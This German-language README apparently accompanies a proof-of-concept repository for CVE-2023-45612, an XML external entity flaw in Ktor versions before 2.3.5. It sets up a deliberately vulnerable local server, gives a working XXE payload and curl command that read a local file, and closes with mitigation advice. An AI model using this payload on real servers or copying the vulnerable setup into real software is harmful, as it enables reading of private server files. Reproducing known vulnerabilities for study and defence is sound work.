CVE-2023-45612: JetBrains Ktor XXE Proof of Concept

Dieses Repository enthält einen anfälligen Ktor-Server, um die XML-External-Entity-Injection-Schwachstelle (XXE) zu demonstrieren, die in CVE-2023-45612 identifiziert wurde.

Die Schwachstelle ist in Ktor-Versionen vor 2.3.5 vorhanden, wenn das ContentNegotiation-Plugin mit dem Standard-xml()-Serializer verwendet wird. Der Standard-XML-Parser war nicht so konfiguriert, dass er die Auflösung externer Entitäten verhindert, wodurch Angreifer beliebige Dateien vom Server lesen konnten.

Die folgenden Abschnitte beschreiben die Schritte, um den Exploit selbst nachzuvollziehen.

Voraussetzungen

Versionen, die ich für dieses PoC verwendet habe:

• IntelliJ IDEA 2025.2.3
• JDK 21
• Gradle 8.14
• Ktor 2.3.4

Einrichtung

Erstellen Sie in IntelliJ IDEA ein Ktor-Projekt mit der Netty-Engine, Gradle Kotlin und der Ktor-Version 2.3.4 (oder einer früheren Version).

In der build.gradle.kts müssen Sie das folgende Plugin hinzufügen:

kotlin("plugin.serialization") version "2.2.20"

und diese Abhängigkeiten:

implementation("io.ktor:ktor-server-content-negotiation")  
implementation("io.ktor:ktor-serialization-kotlinx-xml")

Code

Application.kt sollte die Hauptfunktion zum Starten des Servers und die Funktion module() zur Konfiguration enthalten. Standardmäßig initialisiert die Funktion xml() einen XML-Parser, der die Verarbeitung externer Entitäten erlaubt.

fun Application.module() {
    install(ContentNegotiation) {
          xml() 
    }
    configureRouting()
}

Routing.kt sollte den Endpunkt definieren, der die schädliche XML empfängt und parst.

@Serializable
data class Message(
    @XmlElement
    val message: String
)
  
  
fun Application.configureRouting() {
    routing {
        post("/message") {
              try {
                  val receivedMessage = call.receive<Message>()
                  call.respondText("Message received: ${receivedMessage.message}")
              } catch (e: Exception) {
                  call.respond(HttpStatusCode.BadRequest, "Error: ${e.message}")
              }
        }
    }
}

So führen Sie es aus

Erstellen Sie die Anwendung und starten Sie den Server.

./gradlew build
./gradlew run

Um den Endpunkt zu testen, erstellen Sie eine XML-Datei mit dem Namen hello_message.xml.

<Message>  
	 <message>Hello, world!</message>  
</Message>

Sie können sie mit dem folgenden curl-Befehl ausführen (unter Windows):

curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@hello_message.xml'

Wenn Sie erfolgreich sind, sollten Sie die folgende Meldung erhalten:

Message received: Hello, world!

So nutzen Sie die Schwachstelle aus

Erstellen Sie eine secret_file.txt mit einem Text. Die darin enthaltenen Informationen sind das, was wir mit unserem Exploit erhalten möchten.

Erstellen Sie eine Datei mit dem Namen exploit_message.xml. Ihr Inhalt sollte eine externe Entität &xxe; als Inhalt der Datei secret_file.txt definieren und diese Entität dann innerhalb der <message>-Tags verwenden.

<!DOCTYPE Message [  
        <!ENTITY xxe SYSTEM "secret_file.txt">  
        ]>  
<Message>  
	 <message>&xxe;</message>  
</Message>

Führen Sie den folgenden curl-Befehl (unter Windows) auf dem laufenden Server aus:

curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@exploit_message.xml'

Der Server liest die Datei secret_file.txt und sendet ihren Inhalt in der HTTP-Antwort zurück:

Message received: XXE was a success.

Präventionshinweise

Ktor aktualisieren

Die effektivste Lösung ist, Ktor auf Version 2.3.5 oder höher zu aktualisieren. Sie verwenden einen sicher konfigurierten Standard-XML-Parser, der die Verarbeitung von Dokumenttypdefinitionen und externen Entitäten standardmäßig deaktiviert, was diesen XXE-Angriff direkt verhindert. Alternativ können Sie den XML-Parser auch manuell konfigurieren.

Implementieren Sie eine strenge Eingabevalidierung

Als zusätzliche Verteidigungsschicht lesen Sie den rohen Anforderungstext als Klartext und lehnen Sie ihn ab, wenn er verdächtige Schlüsselwörter wie <!DOCTYPE oder <!ENTITY enthält, bevor er den Parser erreicht.

Verwenden Sie ein anderes Serialisierungsformat

Diese Schwachstelle ist spezifisch für die XML-Verarbeitung. Wenn die Anforderungen Ihrer Anwendung flexibel sind, ist die sicherste Änderung, XML vollständig zu vermeiden und ein Format zu verwenden, das diese Klasse von Schwachstellen nicht aufweist, wie JSON.

Testen Sie den Code auf bekannte Schwachstellen

Suchen Sie aktiv nach Sicherheitslücken, indem Sie Ihre Bibliotheken auf bekannte Schwachstellen prüfen und Ihre App auf gängige Exploits testen.